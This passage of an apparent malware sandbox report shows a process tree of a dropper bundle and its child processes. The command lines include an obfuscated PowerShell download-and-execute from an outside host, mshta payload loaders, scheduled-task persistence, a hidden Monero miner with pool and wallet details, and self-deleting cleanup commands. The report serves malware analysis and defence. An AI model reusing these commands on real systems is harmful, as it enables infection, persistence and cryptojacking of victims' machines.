        C:\Users\Admin\AppData\Local\Temp\is-1629I.tmp\46807GHF____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-1629I.tmp\46807GHF____.exe" /S /UID=burnerch2
        7⤵
        Executes dropped EXE
        
        PID:2536
        
        C:\Program Files\Windows Photo Viewer\CCQSEVCUEB\ultramediaburner.exe
        
        "C:\Program Files\Windows Photo Viewer\CCQSEVCUEB\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:2396
        
        C:\Users\Admin\AppData\Local\Temp\is-MFKU9.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MFKU9.tmp\ultramediaburner.tmp" /SL5="$1028A,281924,62464,C:\Program Files\Windows Photo Viewer\CCQSEVCUEB\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:2200
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:2308
        
        C:\Users\Admin\AppData\Local\Temp\a6-5a588-b4b-d26a2-44107eda1d53c\Laezhoxadekae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a6-5a588-b4b-d26a2-44107eda1d53c\Laezhoxadekae.exe"
        8⤵
        
        PID:2456
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:1716
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1716 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:1232
        
        C:\Users\Admin\AppData\Local\Temp\259422190.exe
        
        "C:\Users\Admin\AppData\Local\Temp\259422190.exe"
        11⤵
        
        PID:2180
        
        C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" http://kamikirim.id/wp-content/uploads/2021/08/cropped-logo-aja-1-290x150.txt
        12⤵
        
        PID:3040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='http://kamikirim.id/wp-content/uploads/2021/08/logo-aja-1-80x60.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
        13⤵
        
        PID:2708
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1716 CREDAT:340994 /prefetch:2
        10⤵
        
        PID:1584
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1716 CREDAT:734230 /prefetch:2
        10⤵
        
        PID:4076
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:1000
        
        C:\Users\Admin\AppData\Local\Temp\98-1dd02-9e2-cd68e-76c9a7222d524\Kelevilida.exe
        
        "C:\Users\Admin\AppData\Local\Temp\98-1dd02-9e2-cd68e-76c9a7222d524\Kelevilida.exe"
        8⤵
        
        PID:900
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bznysn0w.sy2\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:2896
        
        C:\Users\Admin\AppData\Local\Temp\bznysn0w.sy2\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\bznysn0w.sy2\GcleanerEU.exe /eufive
        10⤵
        
        PID:2196
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\bznysn0w.sy2\GcleanerEU.exe" & exit
        11⤵
        
        PID:2812
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:3708
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wkfvqdb2.vpp\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:3764
        
        C:\Users\Admin\AppData\Local\Temp\wkfvqdb2.vpp\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\wkfvqdb2.vpp\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:2944
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\wkfvqdb2.vpp\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\wkfvqdb2.vpp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630949827 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:3336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ibvnqc3u.upz\anyname.exe & exit
        9⤵
        
        PID:2916
        
        C:\Users\Admin\AppData\Local\Temp\ibvnqc3u.upz\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\ibvnqc3u.upz\anyname.exe
        10⤵
        
        PID:1768
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\03x3uewl.gwb\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\03x3uewl.gwb\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\03x3uewl.gwb\gcleaner.exe /mixfive
        10⤵
        
        PID:3840
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\03x3uewl.gwb\gcleaner.exe" & exit
        11⤵
        
        PID:3260
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:1672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5zwis2w5.dsg\autosubplayer.exe /S & exit
        9⤵
        
        PID:3168
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
      4⤵
      Loads dropped DLL
      PID:1484
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11f251db82fb7b.exe
        
        Tue11f251db82fb7b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1628
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2480
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        
        PID:2568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:1884
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:972
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:3120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:2792
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:3604
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:2560
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:1176
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2648
        
        C:\Users\Admin\AppData\Roaming\5559826.exe
        
        "C:\Users\Admin\AppData\Roaming\5559826.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2112
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2112 -s 1748
        9⤵
        Program crash
        
        PID:2920
        
        C:\Users\Admin\AppData\Roaming\2285265.exe
        
        "C:\Users\Admin\AppData\Roaming\2285265.exe"
        8⤵
        
        PID:2440
        
        C:\Users\Admin\AppData\Roaming\6833677.exe
        
        "C:\Users\Admin\AppData\Roaming\6833677.exe"
        8⤵
        
        PID:1472
        
        C:\Users\Admin\AppData\Roaming\4928794.exe
        
        "C:\Users\Admin\AppData\Roaming\4928794.exe"
        8⤵
        
        PID:2504
        
        C:\Users\Admin\AppData\Roaming\1582870.exe
        
        "C:\Users\Admin\AppData\Roaming\1582870.exe"
        8⤵
        
        PID:3156
        
        C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2700
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:3696
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Alfanewfile2.exe /f
        9⤵
        Kills process with taskkill
        
        PID:3760
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1812
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2736
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2736 -s 1392
        8⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:2804
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2072
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        
        PID:1608
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:2284
        
        C:\Users\Admin\AppData\Local\Temp\is-A1UTS.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-A1UTS.tmp\setup_2.tmp" /SL5="$10188,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        
        PID:2428
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:2348
        
        C:\Users\Admin\AppData\Local\Temp\is-DKGV0.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DKGV0.tmp\setup_2.tmp" /SL5="$201AC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        
        PID:2728
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:812
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:1476
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:2696
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
      4⤵
      Loads dropped DLL
      PID:596
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue1109eec571ac.exe
        
        Tue1109eec571ac.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1764
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue1109eec571ac.exe" & exit
        6⤵
        
        PID:2060
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Tue1109eec571ac.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
      4⤵
      Loads dropped DLL
      PID:924
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11bc0507b56295.exe
        
        Tue11bc0507b56295.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1152
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
      4⤵
      Loads dropped DLL
      PID:1700
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        Tue11e4e580f2e8141a3.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:2016
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2388
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2884
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2492
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2192
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2432
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3684
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3736
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4092
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3232
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        Loads dropped DLL
        
        PID:2480
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:996
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3312
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3916
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2124
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3116
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1824
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:884
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1908
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3176
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3796
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2832
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:680
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3100
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2608
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3032
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:588
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3352
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1840
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3276
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3064
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2116
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3864
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3388
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2372
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3268
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3540
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3740
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2800
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2160
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2964
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3048
      - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
      4⤵
      Loads dropped DLL
      PID:1720
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11141271fbe5877f.exe
        
        Tue11141271fbe5877f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1780
      - C:\ProgramData\1442802.exe
        
        "C:\ProgramData\1442802.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2576
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2576 -s 1728
        7⤵
        Program crash
        
        PID:3784
      - C:\ProgramData\4274950.exe
        
        "C:\ProgramData\4274950.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2988
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:1568
      - C:\ProgramData\359848.exe
        
        "C:\ProgramData\359848.exe"
        6⤵
        Executes dropped EXE
        
        PID:2556
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\359848.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\359848.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        7⤵
        
        PID:2764
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\359848.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\359848.exe" ) do taskkill /Im "%~NxB" /F
        8⤵
        
        PID:3256
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "359848.exe" /F
        9⤵
